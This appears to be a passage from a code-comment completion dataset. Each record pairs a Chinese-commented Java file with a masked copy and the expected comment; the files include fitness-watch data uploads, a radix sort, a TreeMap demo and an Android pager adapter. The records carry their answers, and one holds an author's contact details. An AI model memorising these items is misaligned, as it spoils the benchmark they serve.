String mylanmac = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC);
Log.d(TAG, "==设备名称与MAC==" + userId + "==" + mylanmac);
map.put("userId", (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
Log.d(TAG, nextDay + "===" + nextEndDay);
map.put("startTime", nextDay);//
map.put("endTime", nextEndDay);
map.put("count", "10");
map.put("deepLen", deepSleep);
map.put("shallowLen", shallowSleep);
map.put("deviceCode", (String) SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC));
map.put("sleepQuality", "6");
map.put("sleepLen", "4");
map.put("sleepCurveP", "5");
map.put("sleepCurveS", "8");
// dialogSubscriber = new DialogSubscriber(subscriberOnNextListener, context);
SubscriberOnNextListener sb = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String s) {
//Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠数据上传--------" + s);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(sb, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSleep, map.toString());
} catch (Exception E) {
E.printStackTrace();
}
}
/**
* 心率数据上传
*/
public static void upDataHearte(String heartData, String stringTimer) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率上传--------" + heartData + "==" + stringTimer);
try {
JSONObject map = new JSONObject();
map.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
if (MyCommandManager.DEVICENAME.equals("W30")) {
map.put("deviceCode", SharedPreferenceUtil.get(MyApp.getContext(), Commont.BLEMAC, "")); //mac地址
} else {
map.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC));
}
map.put("systolic", "00");
map.put("stepNumber", "00");
//Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率上传---eeeee-----" + heartData + "==" + stringTimer);
map.put("date", stringTimer);
map.put("heartRate", heartData);
map.put("status", "0");
JSONObject mapB = new JSONObject();
JSONArray jsonArray = new JSONArray();
Object jsonArrayb = jsonArray.put(map);
mapB.put("data", jsonArrayb);
String mapjson = mapB.toString();
//Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率上传---ddddd-----" + heartData + "==" + stringTimer);
SubscriberOnNextListener sb = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String s) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率数据上传--------" + s);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(sb, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upHeart, mapjson);
} catch (Exception E) {
E.printStackTrace();
}
}
/**
* @param goal 目标步数
* @param step 手表步数
* @param calories 手表卡路里
* @param distance //手表公里
*/
public static void updateLoadSportToServer(float goal, float step, double calories, double distance, String dataTimes) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa---步数上传--------" + SharedPreferencesUtils.readObject(MyApp.getContext(), "userId") + "==" + SharedPreferencesUtils.readObject(MyApp.getContext(), "mylanmac") + "==" + goal + "==" + step + "==" + calories + "==" + distance);
int state = 1; //步数是否达标
if (goal <= step) { //达标
state = 0;
} else {
state = 1;
}
JSONObject stepJons = new JSONObject();
try {
stepJons.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId")); //用户ID
if (MyCommandManager.DEVICENAME.equals("W30")) {
stepJons.put("deviceCode", SharedPreferenceUtil.get(MyApp.getContext(), Commont.BLEMAC, "")); //mac地址
} else {
stepJons.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC)); //mac地址
}
stepJons.put("stepNumber", step); //步数
stepJons.put("distance", distance); //路程
stepJons.put("calories", calories); //卡里路
stepJons.put("timeLen", "0"); //时长
if (!WatchUtils.isEmpty(dataTimes)) {
stepJons.put("date", dataTimes); //data_time
} else {
stepJons.put("date", WatchUtils.getCurrentDate()); //data_time
}
stepJons.put("status", state); //是否达标
} catch (JSONException e) {
e.printStackTrace();
}
//Log.e(TAG, "-----steJson-----" + stepJons.toString() + "--" + System.currentTimeMillis() / 1000 + "---" + new Date().getTime() / 1000);
CommonSubscriber commonSubscriber = new CommonSubscriber(new SubscriberOnNextListener<String>() {
@Override
public void onNext(String result) {
// Log.e("H9", "---上次步数数据返回--" + result);
}
}, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSportData, stepJons.toString());
}
/**
* 上传睡眠数据
*
* @param deepSleep
* @param shallowSleep
*/
public static void upDataSleep(String deepSleep, String shallowSleep, String dataTime) {
Date dateBefore = H9TimeUtil.getDateBefore(new Date(), 0);
String nextDay = H9TimeUtil.getValidDateStr2(dateBefore);
Date dateBefore2 = H9TimeUtil.getDateBefore(new Date(), 1);
String nextDay2 = H9TimeUtil.getValidDateStr2(dateBefore2);
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠上传--------" + shallowSleep + "==" + deepSleep + "==" + nextDay2 + "==" + nextDay);
try {
JSONObject map = new JSONObject();
String userId = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId");
String mylanmac = "";
if (MyCommandManager.DEVICENAME.equals("W30")) {
mylanmac = (String) SharedPreferenceUtil.get(MyApp.getContext(), Commont.BLEMAC, "");//mac地址
Log.d(TAG, "=000000=设备名称与MAC==" + userId + "==" + mylanmac);
} else {
mylanmac = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC); //mac地址
Log.d(TAG, "=1111111=设备名称与MAC==" + userId + "==" + mylanmac);
}
Log.d(TAG, "==设备名称与MAC==" + userId + "==" + mylanmac);
Log.e(TAG, "--睡眠数据上传数据查看--睡眠上传--------" + shallowSleep + "==" + deepSleep + "==" + nextDay2 + "==" + nextDay + "===" + userId + "==" + mylanmac);
map.put("userId", (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
//Log.d("-------------TEMT---time", "睡眠上传--------" + nextDay2 + "===" + nextDay);
map.put("startTime", nextDay2 + " 00:00");//
map.put("endTime", nextDay + " 00:00");
// Log.d("====upDataSleep==1===", W30BasicUtils.getDateStr(dataTime, 1) + "======" + nextDay2);
// Log.d("====upDataSleep==2===", dataTime + "=======" + nextDay);
// map.put("startTime", nextDay2 + " 00:00");//
// map.put("endTime", nextDay + " 00:00");
map.put("count", "10");
map.put("deepLen", deepSleep);
map.put("shallowLen", shallowSleep);
map.put("deviceCode", mylanmac);
map.put("sleepQuality", "6");
map.put("sleepLen", "4");
map.put("sleepCurveP", "5");
map.put("sleepCurveS", "8");
// dialogSubscriber = new DialogSubscriber(subscriberOnNextListener, context);
SubscriberOnNextListener sb = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String s) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠数据上传--------" + s);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(sb, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSleep, map.toString());
} catch (Exception E) {
E.printStackTrace();
}
}
}
| 0 |
25782_3 | package class05;
import java.util.Arrays;
/**
* Created with IntelliJ IDEA.
*
* @Author: 雪雪子
* @Date: 2023/08/19/16:41
* @Description: 基数排序
* 原本的思路:给数组中数字排序的原理是,从个位数字开始比较,建立10个桶,下标为0~9,
* 按原本的顺序,入队列的桶,个位为0的进0桶,个位为9的进9桶。
* 入桶后出通,先进的先出(保留个位相同,原本的相对顺序)此时完成个位的排序
* 依次类推,排序十位,百位,直到最高位。
* ✔ 但是注意,实现时并不走这样逻辑,而是优化,简化逻辑
* 我们用前缀和数组来简化入桶出桶的过程
* 例如一个无序数组[14,27,8,31,51,0]按个位排序的话,需要建立10个队列分别入队列出队列
* 建他的桶数组长度为10[1,2,0,0,1, 0,0,1,1,0]即i位含义是个位为i的数有几个
* 建立他的前缀和数组 [1,2,2,2,3, 3,3,4,5,5]即i位指的是前0~i位数的和,即<=i的有几个
* 1)我们从右侧开始入桶,个位为1,入1桶,
* 2)并且已经得知,<= 1的数有2个,1桶中数据下标范围为0~1,又因为排在最后,
* 是从右开始遍历的,所以是1桶中最后出桶的。即应该在1位
* 循环1)2)依次类推不同的数和循环外不同的位数
*
*
* Math.pow(base,exponent) 函数返回基数(base)的指数(exponent)次幂,即 base^exponent。
*/
public class Code04_RadixSort {
// only for no-negative value
public static void radixSort(int[] arr) {
//判非法数组,调用自己的重载方法,4参数那个
if(arr == null || arr.length < 2){
return;
}
radixSort(arr, 0, arr.length - 1, maxbits(arr));
}
//找数组中最高位是几位
public static int maxbits(int[] arr) {
//先找出最大值max,然后判断位数res
int max = Integer.MIN_VALUE;
for(int i = 0; i < arr.length; i++){
max = Math.max(max, arr[i]);
}
int res = 1;//代表位数
max /= 10;
while(max != 0){
max /= 10;
res++;
}
return res;
}
// arr[L..R]排序 , 最大值的十进制位数digit
public static void radixSort(int[] arr, int L, int R, int digit) {
//定义final变量radix为10,代表10进制
// 有多少个数准备多少个辅助空间help数组
//以位数digit循环,每次排序一个位数,由低到高
//count数组10个空间,因为是十进制,存个数前缀和
// 有多少位就进出几次
// 10个空间
// count[0] 当前位(d位)是0的数字有多少个
// count[1] 当前位(d位)是(0和1)的数字有多少个
// count[2] 当前位(d位)是(0、1和2)的数字有多少个
// count[i] 当前位(d位)是(0~i)的数字有多少个
// count[0..9]
//4个内循环,
final int radix = 10;
int[] help = new int[R - L + 1];
for(int d = 1; d <= digit; d++){//取不同的位数
//分别是填充count数组,j取当前需要的位,count统计i桶几个数
//前缀和
//覆盖原help数组,从右往左确定位置,count--
//help刷写回arr数组
int[] count = new int[radix];
for(int i = L; i <= R; i++){
int j = getDigit(arr[i], d);
count[j]++;//取数组个位(d位)统计个数
}
for(int i = 1; i < radix; i++){
count[i] += count[i - 1];
}
//核心,以当前位作为比较标准进行排序
//例如:arr从右往左第一位的d位为2,要进2桶,count[2]代表<=2的有几个,假设有3个
//那当前的arr[i]一定在help的2位上
for(int i = R; i >= L; i--){//从右往左遍历arr数组
int j = getDigit(arr[i], d);
help[count[j] - 1] = arr[i];
count[j]--;
}
for(int i = 0, j = L; i < help.length; i++,j++){
arr[j] = help[i];
}
}
}
//返回一个数的d位数字,Math.pow(x,y)==x^y
//比如取十位,d=2,(x/10)%10取到10位数
public static int getDigit(int x, int d) {
return (int)((x/(Math.pow(10, d - 1))) % 10);//为啥要取整呢本来就是余数诶
}
// ------------------------------for test
public static void comparator(int[] arr) {
Arrays.sort(arr);
}
// for test
public static int[] generateRandomArray(int maxSize, int maxValue) {
int[] arr = new int[(int) ((maxSize + 1) * Math.random())];
for (int i = 0; i < arr.length; i++) {
arr[i] = (int) ((maxValue + 1) * Math.random());
}
return arr;
}
// for test
public static int[] copyArray(int[] arr) {
if (arr == null) {
return null;
}
int[] res = new int[arr.length];
for (int i = 0; i < arr.length; i++) {
res[i] = arr[i];
}
return res;
}
// for test
public static boolean isEqual(int[] arr1, int[] arr2) {
if ((arr1 == null && arr2 != null) || (arr1 != null && arr2 == null)) {
return false;
}
if (arr1 == null && arr2 == null) {
return true;
}
if (arr1.length != arr2.length) {
return false;
}
for (int i = 0; i < arr1.length; i++) {
if (arr1[i] != arr2[i]) {
return false;
}
}
return true;
}
// for test
public static void printArray(int[] arr) {
if (arr == null) {
return;
}
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i] + " ");
}
System.out.println();
}
// for test
public static void main(String[] args) {
// int[] arr = new int[]{27,81,68,22,91,3,84,70,39,25};
// radixSort(arr);
// printArray(arr);
int testTime = 500000;
int maxSize = 10;
int maxValue = 100;
boolean succeed = true;
for (int i = 0; i < testTime; i++) {
int[] arr1 = generateRandomArray(maxSize, maxValue);
int[] arr2 = copyArray(arr1);
radixSort(arr1);
comparator(arr2);
if (!isEqual(arr1, arr2)) {
succeed = false;
printArray(arr1);
printArray(arr2);
break;
}
}
System.out.println(succeed ? "Nice!" : "Fucking fucked!");
int[] arr = generateRandomArray(maxSize, maxValue);
printArray(arr);
radixSort(arr);
printArray(arr);
}
}
| 18292872556/DailyCode | Code04_RadixSort.java | 2,086 | //找数组中最高位是几位 | line_comment | zh-cn | package class05;
import java.util.Arrays;
/**
* Created with IntelliJ IDEA.
*
* @Author: 雪雪子
* @Date: 2023/08/19/16:41
* @Description: 基数排序
* 原本的思路:给数组中数字排序的原理是,从个位数字开始比较,建立10个桶,下标为0~9,
* 按原本的顺序,入队列的桶,个位为0的进0桶,个位为9的进9桶。
* 入桶后出通,先进的先出(保留个位相同,原本的相对顺序)此时完成个位的排序
* 依次类推,排序十位,百位,直到最高位。
* ✔ 但是注意,实现时并不走这样逻辑,而是优化,简化逻辑
* 我们用前缀和数组来简化入桶出桶的过程
* 例如一个无序数组[14,27,8,31,51,0]按个位排序的话,需要建立10个队列分别入队列出队列
* 建他的桶数组长度为10[1,2,0,0,1, 0,0,1,1,0]即i位含义是个位为i的数有几个
* 建立他的前缀和数组 [1,2,2,2,3, 3,3,4,5,5]即i位指的是前0~i位数的和,即<=i的有几个
* 1)我们从右侧开始入桶,个位为1,入1桶,
* 2)并且已经得知,<= 1的数有2个,1桶中数据下标范围为0~1,又因为排在最后,
* 是从右开始遍历的,所以是1桶中最后出桶的。即应该在1位
* 循环1)2)依次类推不同的数和循环外不同的位数
*
*
* Math.pow(base,exponent) 函数返回基数(base)的指数(exponent)次幂,即 base^exponent。
*/
public class Code04_RadixSort {
// only for no-negative value
public static void radixSort(int[] arr) {
//判非法数组,调用自己的重载方法,4参数那个
if(arr == null || arr.length < 2){
return;
}
radixSort(arr, 0, arr.length - 1, maxbits(arr));
}
//找数 <SUF>
public static int maxbits(int[] arr) {
//先找出最大值max,然后判断位数res
int max = Integer.MIN_VALUE;
for(int i = 0; i < arr.length; i++){
max = Math.max(max, arr[i]);
}
int res = 1;//代表位数
max /= 10;
while(max != 0){
max /= 10;
res++;
}
return res;
}
// arr[L..R]排序 , 最大值的十进制位数digit
public static void radixSort(int[] arr, int L, int R, int digit) {
//定义final变量radix为10,代表10进制
// 有多少个数准备多少个辅助空间help数组
//以位数digit循环,每次排序一个位数,由低到高
//count数组10个空间,因为是十进制,存个数前缀和
// 有多少位就进出几次
// 10个空间
// count[0] 当前位(d位)是0的数字有多少个
// count[1] 当前位(d位)是(0和1)的数字有多少个
// count[2] 当前位(d位)是(0、1和2)的数字有多少个
// count[i] 当前位(d位)是(0~i)的数字有多少个
// count[0..9]
//4个内循环,
final int radix = 10;
int[] help = new int[R - L + 1];
for(int d = 1; d <= digit; d++){//取不同的位数
//分别是填充count数组,j取当前需要的位,count统计i桶几个数
//前缀和
//覆盖原help数组,从右往左确定位置,count--
//help刷写回arr数组
int[] count = new int[radix];
for(int i = L; i <= R; i++){
int j = getDigit(arr[i], d);
count[j]++;//取数组个位(d位)统计个数
}
for(int i = 1; i < radix; i++){
count[i] += count[i - 1];
}
//核心,以当前位作为比较标准进行排序
//例如:arr从右往左第一位的d位为2,要进2桶,count[2]代表<=2的有几个,假设有3个
//那当前的arr[i]一定在help的2位上
for(int i = R; i >= L; i--){//从右往左遍历arr数组
int j = getDigit(arr[i], d);
help[count[j] - 1] = arr[i];
count[j]--;
}
for(int i = 0, j = L; i < help.length; i++,j++){
arr[j] = help[i];
}
}
}
//返回一个数的d位数字,Math.pow(x,y)==x^y
//比如取十位,d=2,(x/10)%10取到10位数
public static int getDigit(int x, int d) {
return (int)((x/(Math.pow(10, d - 1))) % 10);//为啥要取整呢本来就是余数诶
}
// ------------------------------for test
public static void comparator(int[] arr) {
Arrays.sort(arr);
}
// for test
public static int[] generateRandomArray(int maxSize, int maxValue) {
int[] arr = new int[(int) ((maxSize + 1) * Math.random())];
for (int i = 0; i < arr.length; i++) {
arr[i] = (int) ((maxValue + 1) * Math.random());
}
return arr;
}
// for test
public static int[] copyArray(int[] arr) {
if (arr == null) {
return null;
}
int[] res = new int[arr.length];
for (int i = 0; i < arr.length; i++) {
res[i] = arr[i];
}
return res;
}
// for test
public static boolean isEqual(int[] arr1, int[] arr2) {
if ((arr1 == null && arr2 != null) || (arr1 != null && arr2 == null)) {
return false;
}
if (arr1 == null && arr2 == null) {
return true;
}
if (arr1.length != arr2.length) {
return false;
}
for (int i = 0; i < arr1.length; i++) {
if (arr1[i] != arr2[i]) {
return false;
}
}
return true;
}
// for test
public static void printArray(int[] arr) {
if (arr == null) {
return;
}
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i] + " ");
}
System.out.println();
}
// for test
public static void main(String[] args) {
// int[] arr = new int[]{27,81,68,22,91,3,84,70,39,25};
// radixSort(arr);
// printArray(arr);
int testTime = 500000;
int maxSize = 10;
int maxValue = 100;
boolean succeed = true;
for (int i = 0; i < testTime; i++) {
int[] arr1 = generateRandomArray(maxSize, maxValue);
int[] arr2 = copyArray(arr1);
radixSort(arr1);
comparator(arr2);
if (!isEqual(arr1, arr2)) {
succeed = false;
printArray(arr1);
printArray(arr2);
break;
}
}
System.out.println(succeed ? "Nice!" : "Fucking fucked!");
int[] arr = generateRandomArray(maxSize, maxValue);
printArray(arr);
radixSort(arr);
printArray(arr);
}
}
| 0 |
10195_9 | package com.qx.day10;
import java.util.*;
import java.util.Map.Entry;
/**
* Created with IntelliJ IDEA.
*
* @Author: xuexuezi
* @Date: 2022/09/17/3:50
* @Description:
*/
public class Pet implements Comparator<Pet> {
public Pet(){
}
public Pet(String name,int num, int legNum){
this.name = name;
this.num = num;
this.legNum = legNum;
}
private String name;
private int num;
private int legNum;
public String getName(){
return this.name;
}
public void setName(String name){
this.name = name;
}
public int getNum(){
return this.num;
}
public void setNum(int num){
this.num = num;
}
public int getLeg(){
return this.legNum;
}
public void setLeg(int legNum){
this.legNum = legNum;
}
@Override
public int compare(Pet o1, Pet o2) {
if(o1.name.compareTo(o2.name) > 0){//指定的数o1.name>参数o2.name,返回正数
return 1;//得出o1>o2.并排在o2后
}else if(o1.name.compareTo(o2.name) < 0){//指定的数o1.name<o2.name,返回负数
return -1;
}else{//相等返回0
return 0;
}
}
// @Override
// public String toString() {
// //return super.toString();
// return getClass().getName()+"[name = "+name+",num = "+num+",legNum = "+legNum+"]";
// }
public static void main(String[] args){
Pet pet1 = new Pet("边牧",1,4);
Pet pet2 = new Pet("缅因猫",2,4);
Pet pet3 = new Pet("鹦鹉",4,2);
Pet pet4 = new Pet("鲸鱼",1,0);
Map<Integer,Pet> map1 = new HashMap<Integer,Pet>();//该种宠物养了几只
map1.put(1,pet1);
map1.put(23,pet4);
map1.put(56,pet2);
map1.put(8,pet2);
map1.put(2,pet3);
//注意,以自定义的类为key时,需要在构造map时提供参数new一下自定义的类
Map<Pet,String> map2 = new TreeMap<Pet,String>(new Pet());//这类宠物性格特征
map2.put(pet1,"聪明");
map2.put(pet2,"温顺");
map2.put(pet3,"漂亮");
map2.put(pet4,"孤独");
// //1.直接遍历
// System.out.println(map1);
// System.out.println(map2);
//
// //2.使用map.keySet()方法把所有key存入Set集合,再根据map.get()方法,根据key取到value
// Set<Integer> key1 = map1.keySet();
// for(Integer k1: key1){//此处,key为个数直接输出,vaule为对象,直接输出对象是散列码,最好是输出对象的名称
// System.out.println(k1+" = "+map1.get(k1).name);
// }
//
// Set<Pet> key2 = map2.keySet();
// for(Pet k2: key2){//此处,key为对象,输出对象的名称比较好
// System.out.println(k2.name+" = "+map2.get(k2));
// }
//
// //3.遍历3
Set<Entry<Integer,Pet>> entrys = map1.entrySet();
System.out.println(entrys);
Set<Entry<Pet,String>> entryss = map2.entrySet();
System.out.println(entryss);
//4.遍历Entry类型的Set,使用Entry的getKey()和getValue()方法
for(Entry<Integer,Pet> e: entrys){
System.out.println(e.getKey()+" = "+ e.getValue().getName());
}
for(Entry<Pet,String> e: entryss){
System.out.println(e.getKey().getName() +" = "+e.getValue());
}
//5.遍历5使用forEach
map1.forEach((k,v)->{
System.out.print(k+"="+v.getName()+" ");
});
System.out.println();
map2.forEach((k,v)->{//Lambda表达式内k,v随意起名。只是代表map中每个键值对的key和value
System.out.print("key:"+k.getName()+"="+"value:"+v+" ");
});
}
}
| 18292872556/java-basics | src/com/qx/day10/Pet.java | 1,180 | //该种宠物养了几只 | line_comment | zh-cn | package com.qx.day10;
import java.util.*;
import java.util.Map.Entry;
/**
* Created with IntelliJ IDEA.
*
* @Author: xuexuezi
* @Date: 2022/09/17/3:50
* @Description:
*/
public class Pet implements Comparator<Pet> {
public Pet(){
}
public Pet(String name,int num, int legNum){
this.name = name;
this.num = num;
this.legNum = legNum;
}
private String name;
private int num;
private int legNum;
public String getName(){
return this.name;
}
public void setName(String name){
this.name = name;
}
public int getNum(){
return this.num;
}
public void setNum(int num){
this.num = num;
}
public int getLeg(){
return this.legNum;
}
public void setLeg(int legNum){
this.legNum = legNum;
}
@Override
public int compare(Pet o1, Pet o2) {
if(o1.name.compareTo(o2.name) > 0){//指定的数o1.name>参数o2.name,返回正数
return 1;//得出o1>o2.并排在o2后
}else if(o1.name.compareTo(o2.name) < 0){//指定的数o1.name<o2.name,返回负数
return -1;
}else{//相等返回0
return 0;
}
}
// @Override
// public String toString() {
// //return super.toString();
// return getClass().getName()+"[name = "+name+",num = "+num+",legNum = "+legNum+"]";
// }
public static void main(String[] args){
Pet pet1 = new Pet("边牧",1,4);
Pet pet2 = new Pet("缅因猫",2,4);
Pet pet3 = new Pet("鹦鹉",4,2);
Pet pet4 = new Pet("鲸鱼",1,0);
Map<Integer,Pet> map1 = new HashMap<Integer,Pet>();//该种 <SUF>
map1.put(1,pet1);
map1.put(23,pet4);
map1.put(56,pet2);
map1.put(8,pet2);
map1.put(2,pet3);
//注意,以自定义的类为key时,需要在构造map时提供参数new一下自定义的类
Map<Pet,String> map2 = new TreeMap<Pet,String>(new Pet());//这类宠物性格特征
map2.put(pet1,"聪明");
map2.put(pet2,"温顺");
map2.put(pet3,"漂亮");
map2.put(pet4,"孤独");
// //1.直接遍历
// System.out.println(map1);
// System.out.println(map2);
//
// //2.使用map.keySet()方法把所有key存入Set集合,再根据map.get()方法,根据key取到value
// Set<Integer> key1 = map1.keySet();
// for(Integer k1: key1){//此处,key为个数直接输出,vaule为对象,直接输出对象是散列码,最好是输出对象的名称
// System.out.println(k1+" = "+map1.get(k1).name);
// }
//
// Set<Pet> key2 = map2.keySet();
// for(Pet k2: key2){//此处,key为对象,输出对象的名称比较好
// System.out.println(k2.name+" = "+map2.get(k2));
// }
//
// //3.遍历3
Set<Entry<Integer,Pet>> entrys = map1.entrySet();
System.out.println(entrys);
Set<Entry<Pet,String>> entryss = map2.entrySet();
System.out.println(entryss);
//4.遍历Entry类型的Set,使用Entry的getKey()和getValue()方法
for(Entry<Integer,Pet> e: entrys){
System.out.println(e.getKey()+" = "+ e.getValue().getName());
}
for(Entry<Pet,String> e: entryss){
System.out.println(e.getKey().getName() +" = "+e.getValue());
}
//5.遍历5使用forEach
map1.forEach((k,v)->{
System.out.print(k+"="+v.getName()+" ");
});
System.out.println();
map2.forEach((k,v)->{//Lambda表达式内k,v随意起名。只是代表map中每个键值对的key和value
System.out.print("key:"+k.getName()+"="+"value:"+v+" ");
});
}
}
| 0 |
30201_2 | package com.tantuo.didicar.adapter;
import android.support.v4.view.PagerAdapter;
import android.view.View;
import android.view.ViewGroup;
import com.tantuo.didicar.base.BasePager;
import java.util.ArrayList;
/**
* Author by TanTuo, 微信:18601949127,
* Email:1991201740@qq.com
* 作用:ContentFragmentAdapter 屏幕正中央的ViewPager
*/
public class ContentFragmentAdapter extends PagerAdapter {
private final ArrayList<BasePager> basePagers;
public ContentFragmentAdapter(ArrayList<BasePager> basePagers) {
this.basePagers = basePagers;
}
@Override
public int getCount() {
return basePagers.size();
}
@Override
public Object instantiateItem(ViewGroup container, int position) {
BasePager basePager = basePagers.get(position);//各个页面的实例
View rootView = basePager.rootView;//各个子页面
//调用initData()
//注意:这里的initData()看上去调用的是basePager,肯定是调用的是各个子类pager的。by:Tantuo
basePager.initData();//初始化数据
container.addView(rootView);
return rootView;
}
@Override
public boolean isViewFromObject(View view, Object object) {
return view == object;
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
container.removeView((View) object);
}
} | 18601949127/DiDiCallCar | app/src/main/java/com/tantuo/didicar/adapter/ContentFragmentAdapter.java | 382 | //各个子页面 | line_comment | zh-cn | package com.tantuo.didicar.adapter;
import android.support.v4.view.PagerAdapter;
import android.view.View;
import android.view.ViewGroup;
import com.tantuo.didicar.base.BasePager;
import java.util.ArrayList;
/**
* Author by TanTuo, 微信:18601949127,
* Email:1991201740@qq.com
* 作用:ContentFragmentAdapter 屏幕正中央的ViewPager
*/
public class ContentFragmentAdapter extends PagerAdapter {
private final ArrayList<BasePager> basePagers;
public ContentFragmentAdapter(ArrayList<BasePager> basePagers) {
this.basePagers = basePagers;
}
@Override
public int getCount() {
return basePagers.size();
}
@Override
public Object instantiateItem(ViewGroup container, int position) {
BasePager basePager = basePagers.get(position);//各个页面的实例
View rootView = basePager.rootView;//各个 <SUF>
//调用initData()
//注意:这里的initData()看上去调用的是basePager,肯定是调用的是各个子类pager的。by:Tantuo
basePager.initData();//初始化数据
container.addView(rootView);
return rootView;
}
@Override
public boolean isViewFromObject(View view, Object object) {
return view == object;
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
container.removeView((View) object);
}
} | 0 |
57106_45 | package com.liudonghan.utils;
import android.app.Activity;
import android.app.Fragment;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.util.SparseArray;
import androidx.annotation.NonNull;
import androidx.annotation.RequiresApi;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.Random;
/**
* Description:
*
* @author Created by: Li_Min
* Time:1/31/24
*/
public class ADPermissionManager {
public static final String REQUEST_INSTALL_PACKAGES = "android.permission.REQUEST_INSTALL_PACKAGES"; // 8.0及以上应用安装权限
public static final String SYSTEM_ALERT_WINDOW = "android.permission.SYSTEM_ALERT_WINDOW"; // 6.0及以上悬浮窗权限
public static final String READ_CALENDAR = "android.permission.READ_CALENDAR"; // 读取日程提醒
public static final String WRITE_CALENDAR = "android.permission.WRITE_CALENDAR"; // 写入日程提醒
public static final String CAMERA = "android.permission.CAMERA"; // 拍照权限
public static final String READ_CONTACTS = "android.permission.READ_CONTACTS"; // 读取联系人
public static final String WRITE_CONTACTS = "android.permission.WRITE_CONTACTS"; // 写入联系人
public static final String GET_ACCOUNTS = "android.permission.GET_ACCOUNTS"; // 访问账户列表
public static final String ACCESS_FINE_LOCATION = "android.permission.ACCESS_FINE_LOCATION"; // 获取精确位置
public static final String ACCESS_COARSE_LOCATION = "android.permission.ACCESS_COARSE_LOCATION"; // 获取粗略位置
public static final String RECORD_AUDIO = "android.permission.RECORD_AUDIO"; // 录音权限
public static final String READ_PHONE_STATE = "android.permission.READ_PHONE_STATE"; // 读取电话状态
public static final String CALL_PHONE = "android.permission.CALL_PHONE"; // 拨打电话
public static final String READ_CALL_LOG = "android.permission.READ_CALL_LOG"; // 读取通话记录
public static final String WRITE_CALL_LOG = "android.permission.WRITE_CALL_LOG"; // 写入通话记录
public static final String ADD_VOICEMAIL = "com.android.voicemail.permission.ADD_VOICEMAIL"; // 添加语音邮件
public static final String USE_SIP = "android.permission.USE_SIP"; // 使用SIP视频
public static final String PROCESS_OUTGOING_CALLS = "android.permission.PROCESS_OUTGOING_CALLS"; // 处理拨出电话
public static final String ANSWER_PHONE_CALLS = "android.permission.ANSWER_PHONE_CALLS";// 8.0危险权限:允许您的应用通过编程方式接听呼入电话。要在您的应用中处理呼入电话,您可以使用 acceptRingingCall() 函数
public static final String READ_PHONE_NUMBERS = "android.permission.READ_PHONE_NUMBERS";// 8.0危险权限:权限允许您的应用读取设备中存储的电话号码
public static final String BODY_SENSORS = "android.permission.BODY_SENSORS"; // 传感器
public static final String SEND_SMS = "android.permission.SEND_SMS"; // 发送短信
public static final String RECEIVE_SMS = "android.permission.RECEIVE_SMS"; // 接收短信
public static final String READ_SMS = "android.permission.READ_SMS"; // 读取短信
public static final String RECEIVE_WAP_PUSH = "android.permission.RECEIVE_WAP_PUSH"; // 接收WAP PUSH信息
public static final String RECEIVE_MMS = "android.permission.RECEIVE_MMS"; // 接收彩信
public static final String READ_EXTERNAL_STORAGE = "android.permission.READ_EXTERNAL_STORAGE"; // 读取外部存储
public static final String WRITE_EXTERNAL_STORAGE = "android.permission.WRITE_EXTERNAL_STORAGE"; // 写入外部存储
private Activity mActivity;
private List<String> mPermissions = new ArrayList<>();
private boolean mConstant;
private ADPermissionManager(Activity activity) {
mActivity = activity;
}
/**
* 设置请求的对象
*/
public static ADPermissionManager with(Activity activity) {
return new ADPermissionManager(activity);
}
/**
* 设置权限组
*/
public ADPermissionManager permission(String... permissions) {
mPermissions.addAll(Arrays.asList(permissions));
return this;
}
/**
* 设置权限组
*/
public ADPermissionManager permission(String[]... permissions) {
for (String[] group : permissions) {
mPermissions.addAll(Arrays.asList(group));
}
return this;
}
/**
* 设置权限组
*/
public ADPermissionManager permission(List<String> permissions) {
mPermissions.addAll(permissions);
return this;
}
/**
* 被拒绝后继续申请,直到授权或者永久拒绝
*/
public ADPermissionManager constantRequest() {
mConstant = true;
return this;
}
/**
* 请求权限
*/
public void request(OnPermission call) {
// 如果没有指定请求的权限,就使用清单注册的权限进行请求
if (mPermissions == null || mPermissions.size() == 0) {
mPermissions = getManifestPermissions(mActivity);
}
if (mPermissions == null || mPermissions.size() == 0) {
throw new IllegalArgumentException("The requested permission cannot be empty");
}
//使用isFinishing方法Activity在熄屏状态下会导致崩溃
//if (mActivity == null || mActivity.isFinishing()) throw new IllegalArgumentException("Illegal Activity was passed in");
if (mActivity == null) {
